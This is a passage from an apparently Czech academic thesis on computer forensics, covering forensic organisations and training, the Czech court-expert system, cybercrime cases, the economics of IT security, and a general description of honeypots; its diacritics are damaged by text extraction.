sdileni znalosti, vymeénovani zkuSenosti a diskuze na téma pocitacoveé fo-
renzni analyzy. Nebo HTCIA (High Technology Crime Investigation Associ-
ation).

Samozrejmé obecny pojem forenzni analyza zahrnuje pocitacovou fo-
renzni analyzu pouze jako jednu cast. Mezi organizace, které sdruzuji
odborniky ze vSech obort forenzni analyzy je napriklad AAFS (American
Society of Forensic Sciences) ¢i SMANZFL (Senior Managers of Australian
and New Zealand Forensic Laboratories).

Mezinarodni policejni organizace Interpol, sdruzujici 184 clenskych
statli, porada sympozium International Forensic Science Symposium.

VSechny vySe uvedené organizace veétSinou vydavaji ruzné prirucky,
jak se ziskavaji elektronické dikazy nebo jak se postupuje pri vysSetro-
vani - prikladem muze byt dokument Good Practice Guide for Computer
Based Electronic Evidence vydavany asociaci vedoucich policejnich pra-
covniku ve Velké Britanii (ACPO). Nékteré z organizaci také poradaji rizné
workshopy, konference, meetingy ¢i sympozia.

V souvislosti s nartistem kriminalnich ¢inti primarné souvisejicimi s
digitalnimi daty, roste poptavka po odbornicich na pocitacovou forenzni
analyzu (forenzni analyzu digitalnich dat). Podle Carnegie Mellon Software
Engineering Institute narostl pocet informac¢né bezpecnostnich incidentt
z 6 000 v roce 1988 na zhruba 52 600 v roce 200 lﬂ Podle zpravy Compu-
ter Crime and Security Survey vydavanou CSI se 90 procent respondenta
(273 organizaci) setkalo s ve své organizaci s kyberutokem. Vztazeno na
¢isla byly spocitany skody na 265 589 940 USD.

Jak rika jeden z nékolika set certifikovanych forenznich vySetrova-
telt jiz zminénou organizaci IACIS Scott Pancoast: "There simply are not
enough people to do this work" v ¢clanku [27]. V ¢lanku se dale uvadi, ze
odborné predikce odhaduji nedostatek této kvalifikované sily na 50 000.

Lidé, kteri do tohoto oboru detailné€ji nevidi, si mysli, jaka to musi
byt ohromé zajimava prace. Samoziejmeé jsou zde velmi zajimavé pripady,
ale casto je prace také nudna a monotonni. Kdyz se napriklad musite

1Zdroj: Computer Crime Research Center
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probirat miliony bajti a hledat néco, pricemz casto ani nevite co. Navic
vySetrovatel musi byt velmi peclivy, protoze i mala nepresnost muze zpu-
sobit to, Ze s dukazy u soudu neuspéje.

V USA se do této profese vétsinou nabiraji sily z pravnich slozek (po-
licie, apod.), u kterych dojde k vysSkoleni na kyberdetektivy. Ale samo-
zrejmeé jsou zde i sily z rad civilisti, které si pravni slozky nebo vlada
najima. Ostatné soukromé firmy zabyvajici se pocitacovou forenzni ana-
Iyzou jsem zde jiz jmenoval.

Na toto musely reagovat organizace, které by vytvarely obory ve snaze
zaplnit tato kvalifikovana mista na trhu. Mnoho univerzit jiz zavedlo magis-
terské a doktorské programy, tykajici se forenzni analyzy digitalnich dat,
kyberzlocinu, bezpecnosti IS/ICT, atd. Vyctem se jedna o univerzity Uni-
versity of Central Florida at Orlando, Georgetown University, George Ma-
son University, George Washington University, Georgia State University,
State University of New York at Farmingdale, University of New Haven,
Utica College in New York, Idaho State University, University of Texas,
a dalsi. Dale stoji za zminku CERIA (The Center for Education and Re-
search in Information Assurance and Security) spadajici pod Purdue Uni-
versity.

Na univerzité MIT (Massachusetts Institute of Technology) nebo UCLA
(University of California) jsou vypsany Ph.D. programy v oboru pocitacové
forenzni analyzy. Disponuji vyspélymi laboratoremi a patri mezi odbornou
verejnosti uznavana pracoviste.

Pribuzné obory najdete pod nazvy jako Internet Security Protocols, Com-
puter Crime, Info-Terrorism, Information Warfare nebo Crime and National
Security.

Sezonni studijni programy nabizi i napt. americka NSA (National Secu-
rity Agency).

Pokud uchaze¢ nema zajem studovat na univerzité, coz v USA neni
zrovna levna zalezitost, mutize zkusit kurzy, které nabizi napr. institut
SANS (SysAdmin, Audit, Network, Security) nebo CSI (Computer Security
Institute). Certifikaci forenzniho analytika lze téz ziskat v GIAC (Global
Information Assurance Certification). Soucasti slozeni podobnych kurzt je
obdrzeni certifikatu. To jak je certifikat uznavany, zalezi pak na autorite,
ktera ho vydala.
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Tém, co daji radsi prednost samostudiu, je na trhu k dispozici opravdu
velky vybér knih. Mezi ty zdarilejsi bych zaradil knihu Digital Evidence
and Computer Crime od autora Eoghan Caseyho, ktera vysla v nakladatel-
stvi Academic Press. Dale Computer Evidence: Collection & Preservation od
autora Christopher L.T. Browna, ktera vysla v nakladatelstvi Charles Ri-
ver Media. A nakonec bych doporucil knihu Guide to Computer Forensics
and Investigations od kolektivu slozeného z autorua - Bill Nelson, Ame-
lia Phillips, Frank Enfinger a Chris Steuart. Kniha vysSla v nakladatelstvi
Course Technology. Rozsahly seznam knih na téma pocitacové forenzni
analyzy, ziskavani digitalnich dukazti nebo reakce na incidenty lze ziskat
na webové adrese: http://www.forensics.nl/books.

V priloze A je uveden anonymizovany posudek unixového systému,
ktery byl vypracovan v USA.

Jako odbornik na forenzni analyzu digitalnich dat a obory pribuzné
pak muzete pracovat v mnoha organizacich. Napr. v konzulta¢ni firmach,
kde se platy pohybuji v rozmezi 45 000 az 125 000 USD rocné. Ve firmach
zajist'ujici monitorovaci sluzby, kde se platy pohybuji v rozmezi 55 000 to
95 000 USD rocné. Obecné prumeérny plat systémovych analytikti podle
U.S. Bureau of Labor Statistics byl v roce 2004 69,470 USD. V IT firmach
zajistujici sluzby v oblasti bezpecnosti IS/ICT. Nebo také najde uplatnéni
ve vladnich organizacich?|

Je zrejmé, Ze v USA, potazmo ve Velké Britanii je forenzni analyza
plné rozvinuty obor, ktery v dnesni dobé prochazi jakymsi "boomem". To
je ovlivnéno predevsim vnéjSimi okolnostmi, které nas nuti se jim pfi-
zpusobovat. Ovsem jak se za chvili dozvime, vSude takovato praxe neni
aplikovana.

6.3 Situace v Ceské republice

Situace v Ceské republice je oproti stattim jako USA &i Velka Britanie
podstatné odliSna. Pocitacovou forenzni analyzou jako takovou se zde za-
byvaji predevsim policejni vySetrovatel€, soudni znalci a znalecké ustavy.
V soukromeé sfére se forenzni analyza digitalnich dat priliS nevyskytuje.
Najdete zde nekolik firem, které se zabyvaji obnovou dat. Firmy zabyvajici
se bezpecnosti IS/ICT se forenzni analyzou zabyvaji jen okrajove.

2Pro vyhledavani zaméstnani v tomto sektoru lze pouzit: http://www.usajobs.gov.
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OvsSem neni to problém firem, Ze tyto sluzby nenabizeji. Kde neni po-
ptavka, neni vétsinou ani nabidka. V Ceské republice neni tento trh nato-
lik rozvinuty, aby se zde tyto sluzby uzivily. Firmy a jiné subjekty nemaji
takovou potrebu vysSetrovat incidenty a samotné incidenty resi vétSinou
néjakym svym zpusobem, ktery vzdy nemusi odpovidat doporucenym po-
stupum. Dalsim faktorem muize byt to, Ze firmy neciti potrebu tyto inci-
denty vycislovat. To, Ze se firmy snazi incidenty casto co nejvice "ututlat"
nepocitam, protozZe to se vyskytuje ve vSech firmach bez ohledu na geo-
grafickou polohu. DalSim faktorem je to, Ze napr. oproti USA je tu daleko
nizsi koncentrace pocitacovych incidentti. Jak jiz vime z grafu na obrazku
1.2, nejvice internetovych utokt pochazi prave z USA.

V CR mtze hrat jistou roli nedtivéra v ¢eskou policii, potazmo ¢es-
kou justici. Neplati zde ochrana proti zverejnéni informaci o poskozeném
jako napft. ve Velké Britanii. TakZe se organizace uchyli k vlastnimu vy-
Setrovani, nez aby prezentovali vlastni bezpecnosti systémy policii - pred-
stavme si napr. banky.

Podle [31] se cesti policisté denné setkaji prumérné se dvéma trest-
nymi ¢iny, pri nichz byl vyznamnou meérou pouzit pocitac a Internet. Na
zvyseny vyskyt kyberkriminality nereaguje pouze FBI, ale i ceska policie a
v roce 2005 vzniklo nové policejni pracovisté - oddeleni informacni krimi-
nality, které spada pod patronaci Policejniho prezidia CR (PP CR) a Uradu
sluzby kriminalni policie a vysetfovani (USKPV). Tato skupina se zabyva
napr. pripady extremismu, détské pornografie, mailovych vydéracu, kra-
dezemi dusSevniho vlastnictvi, apod.

Séf tohoto oddéleni npor. Karel Kuchafik mluvi o svych kolezich jako
o nadsencich, protoze se svoji kvalifikaci by mohli pracovat jinde za vy-
razné veétsi penize. I kdyz tato prace muze byt leckdy nudna, pracovnici
musi Casto prichazet s kreativnimi napady k objasnéni pripadu. Kucharik
popisuje pripad, kdy vystopovali pocitac, ze kterého byla odesilana dét-
ska pornografie. Ukazalo se, Ze ho doma pouzivaji otec a syn. Oba odmitli
vypovidat z divodu neposkozeni osoby pribuzné, na coZ maji ze zakona
pravo. Jak ted’ prokazat, kdo je za odesilani materialu zodpovédny? Po-
licisté obé osoby podrobili testu pocitacové gramotnosti, pri kterych se
zjistilo, Ze znalosti syna by na Sifeni pornografie nestacily.

Jmenovali jsme si zde svétové znamé pripady, které by spadaly do

kategorie kyberzlocinu. I Ceska republika mtize takovych pfipadt nékolik
nabidnout.
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Jiri Jakes byl v roce 2001 odsouzen za to, ze nakoupil elektroniku za
700 tisic korun na ucty jinych osob. Podarilo se mu obejit ochranné sys-
témy nékolika bank a ziskat informace o kreditnich kartach.

Neznamy pachatel umistil kratce po premiére filmu Snowboardaci a
pozdéji i film Roman pro Zeny na Internet, kde si je stahlo tisice lidi.

Jakub Vozar, spravce Ceské Sporitelny si stahl z poéitacée v bance in-
formace o klientech a nabizel je na Internetu.

Relativne casté jsou pripady e-mailového vydirani nebo vyhrozovani.
Na zacatku Skolniho roku rozesilal riznym institucim v Cesku, ve kte-
rych hrozil bombovymi utoky skolam v Praze.

Veének Herynk, expert GE Capital bank, prevedl na své ucty 200 mili-
onu korun. Penize odcerpaval z bankovni rezervy.

Jiny pripad se stal na Ostravské univerzité, kde si jeden ze studenta
stahl seznam uchazecek o studium a nabizel jim k prodeji faleSné priji-
maci testy.

Vsechny tyto pripady a mnoho dalsich musi nyni resit toto specializo-
vané oddéleni.

Co u nas trochu pokulhava je skutecnost, Ze policejni vySetrovatelé si
stale malo uvédomuji provazanost kyberkriminality a kriminality bézné.
Kdyz prohledavaji byt a hledaji napr. kontraband, tak se k pocitac¢i nebo
jinym digitalnim zarizenim chovaji, jako by tam nebyla. To samé plati
napr. i pro pripady vrazd a jinych.

Statni organ muze pozadat o prozkoumani neéjakého pocitace ¢i digi-
talniho média. V tu chvili prichazeji na scénu soudni znalci, popr. zna-
lecké ustavy. Statni organ muiZze o znalecky posudek pozadat i policejni
expertni pracovisté. Soudni znalci vypracovavaji posudky na zakladé du-
kaznich médii, které obdrzi. Omezuji se pouze na pocitacovou forenzni
analyzu - ve smyslu, zZe neprovadéji informacni forenzni analyzu. Tu pro-
vadét nemohou, protoze to koliduje s postupem ¢i procesem analytického
utvaru. Mohlo by to byt brano jako zasahovani do vySetrovani. Soudni
znalec tedy muize sdelovat vyvozené souvislosti nebo zavéry pouze neofi-
cialné. Coz ostatné muze byt leckdy jen ku prospéchu.
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Znalecké posudky od policejniho pracovisté ma statni organ zdarma.
Kdezto soudni znalci si uctuji sazbu do 350 K¢ na hodinu, coz je castka,
ktery vychazi ze zakona - vyhlaska 432/2002 Sb.

V Ceské Republice panuji na poli soudnich znalcti smiSené pocity.
Rozdéleni soudnich znalcti do kategorii neni vibec idealni. Neni pak vu-
bec jasné, jestli soudniho znalce v oboru pocitacové forenzni analyzy hle-
dat v kategorii Kriminalistika, Kybernetika nebo i jinde. Z volitelné pod-
kategorie, ktera mtize byt napr. Vypocetni technika, neni zrejmé, zdali se
znalec zabyva ohodnocovanim vypocetni techniky nebo jinou oblasti.

Viubec v samotné Komore soudnich znalctl jsou tato minoritni odveétvi
znalectvi dost opomijena a to na ukor majoritnich odvétvi, kam spada
ohodnocovani nemovitosti ¢i motorovych vozidel.

Velkym problémem je obecné velmi nizka kvalita téchto soudnich znalcti.
Neexistuji zde prostredky, které by kvalitu soudnich znalct zjiStovaly. A
také zde neexistuje prakticky zadna konkurence mezi soudnimi znalci. Si-
tuace je nekdy tak katastrofalni, Ze statni organy posilaji posudky k pre-
pracovani jinym znalcum, ¢i znaleckym ustavam. Prvotni znalec napr. po-
rusi zakladni pravidlo a zméni originalni duikazni médium. Znalec, ktery
dostal posudek k prepracovani, pak musi nejdrive zkoumat, jaké kroky
podnikl znalec pred nim a az poté muze dal analyzovat médium dal. Toto
samozrejmé muze vést k zasadnimu ovlivnéni zisku dikazi a nasledneé i
samotného pripadu.

Zkoumat a ziskavat diukazy z digitalnich médii je mnohem rozsahlejsi
a narocné€jsi prace na prostredky nez napr. ohodnocovani nemovitosti,
aniz bych toto odvétvi chtél néjak umyslné degradovat. A vykonani tako-
vého posudku fyzickou osobou nemusi ptisobit seri6zné. Takova prace by
meéla patrit znaleckym ustavam, které disponuji vétsim mnozstvim vypo-
cetnich prostredkti a lidského potencialu.

Ovsem ceské prostredi zatim neumoznuje rozvinuti pocitacové forenzni
analyzy do takovych podob jako napr. ve Velké Britanii ¢i USA. I kdyz
maji nékteré ceské ustavy zavedenou spravnou systematickou metodolo-
gii, nemohou ji casto dodrzet v plné mire, protoze hodinova sazba do 350
K¢ za hodinu na to prosté nestaci. Jeden z kvalitnich znaleckych ustavu je
Znalecky ustav RACE] Jeho vyroc¢ni zpravu za rok 2005 je k dispozici na:

3Domovska webova stranka: http://www.rac.cz/rac/homepage.nsf/CZ/ZU
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http://www.rac.cz/rac/homepage.nsf/CZ/ZU /SFILE /RAC%20CFI1%20
ANNUAL%20REPORT%202005%20WEB-g.pdf. K dispozici je i dokument
"Forenzni zkoumani digitalnich dikazt - prirucka vySetrovatele", kterou
Ize stahnout z: http://www.rac.cz/rac/homepage.nsf/CZ/883AABB4233
3CB35C12570FC0034A328/$FILE /Guide%20051230.pdf.

K lepsi ¢innosti soudnich znalct v této oblasti by pomohlo predevSim
stanoveni reguli, které by zajistovaly kvalitu soudnich znalcti. Dale pak
vytvoreni prirozené konkurence mezi znalci. A také vyvratit jisté pred-
sudky - napr. Ze posudek statni prokuratury nelze vyvratit. Takze se
jedna predevsim o legislativni zmeény.

Podle Karla Kucharika [1] patfi mezi nejvySetrovanéjsi pripady v sou-
vislosti s kriminalitou na Internetu:

* zakazana pornografie

* extrémistické projevy

* zneuziti platebnich a obchodnich systému
* porusovani autorského prava

* pomluvy a diskreditace osob

Podle Mariana Svetlika, vedouciho konzultanta a vedouciho Znalec-
kého ustavu RAC, patri mezi pripady, ke kterym se tvori znalecké po-

sudky:

¢ vétsinu pripadd zaujima majetkova trestna cinnost - dohledavani
dat zpétneé v pripadech ucetnich podvodu a tunelovani

¢ tvorba padélkt napr. rodnych listt, vypist z rejstrika trestti, penéz-
nich poukazek

® nasilna trestna cinnost - vrazdy, umrti ¢i drogova kriminalita

¢ pruniky do informac¢nich systému - "hacking"
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Kapitola 7

Ekonomické aspekty

NezZ se podivame na celou problematiku z hlediska firmy, zacneme tro-
chu v cislech. Podle prazkumu IBM [10] stal firmy kyberzlocin vice nez
zloc¢in bézny. Pruzkum byl provadeén u vice nez 2 400 IT manazerua v Sest-
nacti zemich, ze kterych pro 60% byl kyberzlocin nakladnéjsi nez zloc¢in
tradicni. Navic 74% respondentt1 si mysli, Ze vétSina bezpecnostnich in-
cidentt pochazi od vlastnich uzivatelu.

Firma si musi uvédomit, ze je ekonomictéjsi investovat do zabezpe-
ceni informacnich systému a tim padem nasledného eliminovani vyskytu
bezpecnostnich incidenti, nez financovat napravu po incidentu, ktery se
samozrejmeé muze objevit u nezabezpeceného nebo slabé zabezpeceného
systému s mnohem vétsi pravdépodobnosti. To co utocnik dokaze v sys-
tému zpusobit za pil hodiny, je forenznim analytikem odhalovano néko-
lik desitek hodin. Podle senior bezpecnostniho inzenyra z Washigtonské
univerzity Dava Dittricha mohou naklady na takovou analyzu dosahnout
2000 USD, pokud incident vySetruje sama firma a 22 000 USD, pokud
je k incidentu povolan forenzni specialista. Fred Cohen, reditel programu
online vySetrovani na univerzité University of New Haven, Conn. rika [21],
ze naklady na vysetreni jednoho pocitace mohou lehce dosahnout 20 000
USD.

Rika se, Ze na bezpecnost IT by mélo byt vynakladano 3-6% celko-
vého rozpoctu. Podle prizkumu CSI/FBI Computer Crime and Security
Survey, které vydava Computer Security Institute (CSI) ve spolupraci s
forenznim tymem FBI v San Franciscu, v roce 2005 vynalozilo minimalné
tuto castku asi 51% dotazanych. Ostatni firmy vynalozily méné nebo
castka neni znama. Podrobnéji je cely priizkum zachycen v obrazku 7.1.
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2005 CSIFBI Computer Crime and Security Survey
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Procento nakladii na bezpecénost IT - 481 repsondenti

Obrazek 7.1: Vynalozené procento nakladu na bezpecnost IT - zdroj: 2005
CSI/FBI Computer Crime and Security Survey

Organizace si musi uvédomit financ¢ni vyhodu zabezpeceni svych sys-
tému a s tim i souvisejici metodiku reSeni incidentt. Na prvni pohled za-
bezpeceni firmé neprinasi Zzadny zisk, ale bez zabezpeceni je velmi pravde-
podobné, ze bude muset firma vynalozit mnohem vyS$si prostredky na ob-
novu a vysetreni incidentu nez na samotné zabezpeceni systému. Firmy
se vSak casto prikloni k varianté opravovani chyb po tom, co se incident
objevi misto, aby mély od zacatku vytvoreny néjaky koncept bezpecnosti
vlastnich IT systému.

I kdyz trh s produkty bezpecnosti IT stale roste - podle Guidance Soft-
ware se prodalo v roce 2005 informacné bezpecnostniho softwaru za 6.4
miliardy USD, tak rostou i naklady spojené s forenznim vySetrovanim -
v roce 2000 utratily americké firmy za forenzni vySetrovani 118 miliont
USD a roce 2004 uz to bylo 227 milionti USD, coz je vice nez dvakrat to-
lik. OvSsem samotné ztraty vzniklé na zakladeé pocitacovych utoku klesaji
- toto ovSem plati pouze z pohledu firmy! Podil ztrat z kyberkriminality
vSak oproti béznému zlocinu roste, jak jiz bylo receno.

Z dokumentu 2005 CSI/FBI Computer Crime and Security Survey se

Ize dale dozvédet, ze jen 25 procent dotazanych ma k roku 2005 sjed-
nané pojisténi proti rizikiim spojenych s kyberzlocinem. Kromé toho 649
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respondentu, kteri dokazali kvantifikovat vysi svych ztrat, vycislili dohro-
mady tyto ztraty na 130 104 542 USD. V roce 2000 to bylo 265 589
940 USD, ale pouze pro 273 respondentti. To opét znamena, Ze samotné
ztraty zpusobené kyberzlociny, klesaji. Alesponn pokud se jedna o ame-
rické firmy - lze predpokladat, Ze jinde bude vyvoj analogicky. Zda se, ze
z pohledu financnich ztrat byl jakysi pomyslny vrchol prekrocen a firmy
si jiz uvédomily dulezitost své IT/ICT bezpecnosti.

Prvni pricku téchto ztrat zaujimaji ztraty zpusobené virusy, druhou
pricku neautorizované pristupy a treti pricku kradeze proprietarnich in-
formaci. Za témito hrozbami nasleduji utoky odepreni sluzby, zneuziti
sité zevnitr, kradeze laptopt, financ¢ni podvody, atd.

K urcovani nakladu a vynosu z vydaji na bezpecnost IT pouzivaji or-
ganizace jednu ze tri velicin (metrik) - ROI (Return of Investment), NPV
(Net Present Value) nebo IRR (Internal Rate of Return).

OvsSem drive nez zacne organizace s vytvarenim bezpecnosti politiky,
politiky obnovy incidentt a drive nez zacne s realizovanim téchto politik,
musi zhodnotit samotna potencialni rizika a hrozby, proti kterym se ma
branit. Bez této analyzy nemuze byt ani jedna politika iicinna. Popr. mtize
byt ticinna, ale za cenu velmi vysokych nakladi.

Jednim z nastroju risk managementu jsou tzv. "attack trees". Jedna
se o prostredek, kterym lze modelovat a analyzovat bezpecnost systému
- popr. subsystému. Diky této analyze jsme schopni systematicky hledat
slabiny, kterym bychom se v systému meéli vénovat. Vice o této problema-
tice se 1ze docist v clanku Bruce Schneiera [36].
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Vysledky a doporuceni

Z prace je patrné, ze v dnesni dobé jsou k dispozici prostredky, kterymi
lze provést ucinnou forenzni analyzu prakticky vSech digitalnich médii
- resp. digitalnich dat. Existuji zde nativni aplikace predevsim operac-
niho systému GNU/Linux, kterymi lze takovou analyzu provést. Ovsem v
tomto pripadé se vySetrovatel neobejde bez znalosti principul nebo tech-
nik, které potrebuje ke spravnému pouziti téchto aplikaci. Dale jsou k
dispozici proprietarni softwarova vybaveni, kterymi lze vétSinu operaci
automatizovat. Pro nejnaroc¢néjsi zakazniky existuji i enterprise reseni,
ktera slouzi specifictéjSim uceliim v ramci sitové infrastruktury dané or-
ganizace.

Nutno podotknout, Ze i pres existenci vyspélych aplikaci pro vySetro-
vani digitalnich dat, se vySetrovatelé casto uchyluji k tradicnim unixovym
nastrojim. Diivodem neni jen cena proprietarnich reSeni. Unixové nativni
aplikace totiz casto zvladaji urcité operace stejné kvalitné. Cely unixovy
systém je tvoren v duchu hesla KISS (Keep it Short and Simple). To zna-
mena, Ze systém je tvoren autonomnimi aplikacemi, kde kazda plni svoji
ulohu. Vyhody spocivaji predevsim ve snadném pouziti ve vlastnich pro-
gramech nebo skriptech. Prace se pak stava velmi flexibilni. S "velkou"
aplikaci jiz vétSinou tuto mozZnost nemate. Pokud k tomu neni uzptso-
bena.

To je davod, proc vySetrovatelé pri vytvareni bitové kopie diikazniho
média casto sahnou po unixovém programu Data Dumper (pfikaz dd)
misto po n¢jakém komercnim baliku. Dtivod je prosty. Komercni aplikace
jim pri provadéni této operace nemohou nabidnout nic navic. A je zdarma
i se zdrojovymi kody. Dokaze se vyrovnat s chybami cteni a k dispozici je
mnoho dalsich voleb, které prispivaji robustnosti celého programu.
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Jak jiz bylo feceno, v Ceské republice nema forenzni vysetfovatelstvi
silné koreny. Soudni znalci jako fyzické osoby vétSinou proprietarnim
softwarem jako EnCase Forensic nedisponuji. Znalecké ustavy jiz dis-
ponuji Sirsi Skalou softwarového, ale i hardwarového vybaveni. Z vlastni
zkuSenosti vim, Ze casto pouzivaji EnCase Forensic od spolecnosti Gui-
dance Software. Dtilezité je nejen softwarové vybaveni, ale i hardwarové
vybaveni, protozZe je potreba vyhovét mnoha riznym platformam. I kdyz
opét nutno podotknout, ze v ceskych podminkach to neni tak markantni.
Dalsim podstatnym faktorem, ktery deéla znalecké ustavy pripravenéjsi
pro tuto cinnost je fakt, zZe disponuji vétsim lidskym potencialem a za-
kladnou znalosti.

Policejni expertni pracovisté disponuje kromée jiného softwarem od firmy
Tovek (http://www.tovek.cz) pro vyhledavani a analyzu informaci.

I kdyz ceské znalecké ustavy nabizeji své sluzby v oblasti forenzni
analyzy verejnosti, nenachazeji zde poptavku ze strany soukromych sub-
jektd. Absolutni vétSina pozadavkua prichazi ze statni sféry. Pokud bych
meél ¢isla vztahnout na zastoupeni jednotlivych operacnich systému, tak
absolutni vétsinu vSech vySetrovani tvori razné verze operacniho systému
MS Windows. Pozadavky na znalecké posudky unixovych systému jsou
velmi minoritni.

V soucéasné dobé se v CR jako forenzni specialista prakticky uplatnit
nelze. Pokud uz firmy reakce na incidenty resi, déje se tak vnitropod-
nikové. Pomyslny tym reakce na incidenty tvori specialisté bezpecnosti
IT/ICT nebo jini IT specialisté. Obecné lze rici, ze zde vétSina incidentt
neni vySetrovana s tim cilem, aby méla soudni dohru. Hlavnim dtvodem,
proc firmy nechteji vyuzit firem tretich stran je skutecnost, Ze zde neplati
zakon o ochraneé informaci poskozenych. Proto je jasné, Ze si organizace
néjaké odkryvani vlastni bezpecnosti politiky nebo jinych informaci dobre
rozmysli.

Pozitivni je, Ze poslanci schvalili novelu zakona, ktera zavadi novy
trestny ¢in "neopravnény pristup k pocitacovym systémum". Jednalo se o
zmeény §204-206 trestniho zakona podle umluvy EU. Schvalovaci proces
doprovazely pochybnosti, které vyvolala absence odstavce o beziithonnosti
osob, kteri provadi dohodnuté nebo povolené testovani bezpecnosti. To by
mohlo zpusobit, Ze napr. cesti kryptologové by byly trestani de facto za
védeckou cinnost. Na apel odborné verejnosti byl odstavec zarazen.
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Ale vzhledem k absenci vySe zminéné ochrané informaci o poskoze-
ném, to zfejmeé ze strany firmy ¢i organizace, nebude mit valny uzitek.
Kazdopadneé je to krok kupredu a spravnym smeérem. Interpol téz apeluje
na politiky, aby jim vytvorili lepsi legislativni zazemi pro boj s kyberzlo-
¢inem, protoze vSude jeSté neexistuji moderni zakony, které by dokazaly
tyto trestné ciny efektivné postihovat.

Ona vubec otazka prava nebo zakonu je v této problematice citliva za-
lezitost. Jedna se totiz vétSinou o zasahovani do soukromych dat. Kdyz
se jedna o vysetrovani na zakladé soudniho prikazu nebo povoleni, neni
co resit. OvSem v pripadé vysetrovani uvnitr firmy je potfeba davat témto
pravnim aspektiim dostatec¢nou pozornost.

Pokud ma firma napf. nainstalovan IDS, ktery ke kontrole potrebuje
analyzovat uzivatelova data, musi byt néjak prokazatelné, ze tato data ne-
mohou byt nékym ctena - tzn. Ze je muze otevrit a analyzovat pouze dany
software slouzici jako detektor prunikua. Toto plati v ceské jurisdikci.

Tento priklad tu zminuji z toho dtivodu, Ze forenzni analyzu lze pro-
vadeét i "online" - tzn. Ze se sleduje déni na siti i v samotném systému v
realném case a béhem toho se ziskava diikazni material. Pokud se firma
po detekci incidentu rozhodne sledovat kroky uto¢nika, mtize tohoto zpi-
sobu vyuzit. Ovsem praxe ukazuje, Ze takto se postupuje velmi zridka.
Vyzaduje to totiz vétSinou velmi kvalitni pripravu systému c¢i sité a to ve
vysledku rapidné zvySuje naklady samotného vysSetrovani. To je jeden z
duvodu, proc je vétsina dukazh ziskavana "post mortem" - offline po de-
tekci incidentu. Toto se tyka predevsim situaci, kdy je zkoumany pocitac
v roli obéti. Pokud je vySetrovan pocitac, ktery slouzil jako nastroj zlocinu
nebo je vysSetrovan v jiné souvislosti (v souvislosti béznych kriminalnich
deliktu), tak online analyza nema z pravidla zadny vyznam.

Muze se stat, ze vySetrovatel dostane k analyze zasSifrovana data. Muze
se jednat i o kompletné zaSifrovany systém, coz na unixovych systémech
je mozné realizovat a osobné s tim mam bohaté zkusSenosti. V tomto pri-
padé ma vySetrovatel velmi svazané ruce. NejoptimalnéjSim fesenim je
takovy disk, popr. data predat specialistim na Sifrovani - kryptologam.
Ti se mohou pokusit data alespon c¢astecné rozsifrovat. Pokud je pouzito
kvalitni Sifry a kryptologové nemaji zadné dalsi indicie, pak se lehce muize
stat, ze data nebudou v rozumném casovém horizontu nikdy rozlusténa.
V takovém pripadé nemohou jako dikazni material poslouZzit.
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V souvislosti s témito pokrocilejsimi technikami musim zminit tzn.
honeypot. Honeypot je umyslné zavedena nastraha v podobé zranitelného
systému, aplikace nebo jen dat. Monitorovanim takové pasti jsme schopni
analyzovat incidenty v realném prostredi Internetu. Predstavte si utoc-
nika, cerva nebo pocitacovy vir, ktery se penetruje do pocitacového sys-
tému a vy muzete peclive sledovat kazdy jeho krok, aniz by on védél o
tom, Ze je sledovan. Timto zptisobem se jiZ prislo na nékolik bezpecnost-
nich deér v jejich rané fazi. Dalo by se fici, Ze honeypot muZe byt nastroj,
ktery nam umoznuje byt o krok napred pred utocniky.

Pokud si budete chtit vytvorit vlastni honeypot, musim Vas upozornit
na to, ze utoky mohou prijit velmi brzy a naberou velmi rychly spad. Doba
penetrace zavisi predevsSim na tom, jak nedokonalé zabezpeceni zvolite.
Ja pouzival linuxovou distribuci Slackware ve verzi 8.1, ktera obsahuje
software starsiho data, o némzZ je znamo, Ze obsahuje bezpecnosti nedo-
statky zneuzitelné i vzdalené pres sit. Jiz od prvnich minut budete de-
tekovat pokusy o pranik nebo automatické skenovani vaseho systému.
Nasledovat bude objeveni bezpecnostniho nedostatku ve vasi nastraze
(v mém pripadé to byla chyba v programu Samba). Poté je mozné, Ze
se do nastrazeného systému pripoji skutecny utocnik. Muze tento poci-
tac¢ zneuzit pro rozesilani spamu, ziskavani pristupovych informaci tuto-
kem phishing nebo vyzivat tento pocita¢ jako odrazovi mustek pro dalsi
utoky. Proto sviij honeypot pecliveé sledujte, aby neprimo vasi vinou nebyl
uspésneé realizovan nekali umysl titocnika.

Nebudu zde podrobné popisovat, jak takovy honeypot zrealizovat a
analyzovat vysledky. Nicméné to bude zdarily podklad pro dalsi resersi.
Jen ve zkratce. Zakladem je program Sebek vytvoreni pro sbér a analyzu
dat z bezpecnostnich incidentt. Tento program vznikl v ramci programu
Honeynet. Tento monitorovaci program je v nastrazeném systému nain-
stalovan jako modul jadra Linuxu. Lze s nim monitorovat veskerou ¢in-
nost vcetné stisknutych klaves utocnika. Modul i zpravy odesilané serve-
rové casti programu jsou skryty, aby utocnik nemohl nas zameér odhalit.
Ovsem neni to dokonalé maskovani. Zpusoby jak program Sebek odha-
lit existuji. Toto reSeni lze jesté podporit systémem detekce pranikt na
smeérovaci (nebo firewallu) v siti pred nasi nastrahou. Optimalni je napr.
Snort, ktery obsahuje i "sniffer”, se kterym bychom byli schopni zachy-
tavat kompletni sitovy provoz. Lze vyuzit i jiny program pro odchytavani
sitového provozu - mné se osvedcil robustni tcpdump.
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To je ovSem jen zakladni vybaveni. Na webovych strankach projektu
Honeynet naleznete dalsi pomocné programy a skripty. Prakticky vSechny
dat po incidentu vyuzijete i nastroje popisované v této praci. Pokud byste
chteéli jako operacni systém na honeypotu vyuzit napt. MS Windows, pri-
pravte se na to, ze bez prislusnych zaplat tento systém na Internetu bude
napaden do par minut.

S prichodem ISO 17799:2005 se nam do rukou dostava i standard
pro zvladani bezpecnostnich incidentta. ISO/IEC 17799 je obecné jeden
z velmi dulezitych dokumentti pro informacni bezpecnost a mezinarodné
uznavanym standardem v oblasti rizeni informacni bezpecnosti. Tento
standard uzce souvisi s normou BS 7799, ktera specifikuje systém fi-
zeni informac¢ni bezpecnosti. Norma ISO 17799 pak tento systém dopl-
nuje o konkrétni bezpecnostni opatreni. Do verze ISO 17799:2005 byla
prave pridana i kapitola "Zvladani bezpecnostnich incidenti", ktera zde
obsahuje dvé kategorie. Popis opatreni je strukturovan do trech casti -
"Opatreni’, které obsahuje presnou formulaci konkrétniho opatreni. Dale
implementace vybranych opatreni. A nakonec "Dalsi informace" obsahu-
jici pripadné dalsi informace, které je nutno vzit do tvahy.

Norma samozrejmé neprikazuje organizaci, ktera opatreni maji byt
bezpodminecné aplikovana. Posledni rozhodnuti je na organizaci. Cilem
firmy nema byt naplnéni vSech opatreni, ktera norma popisuje. Jak jsem
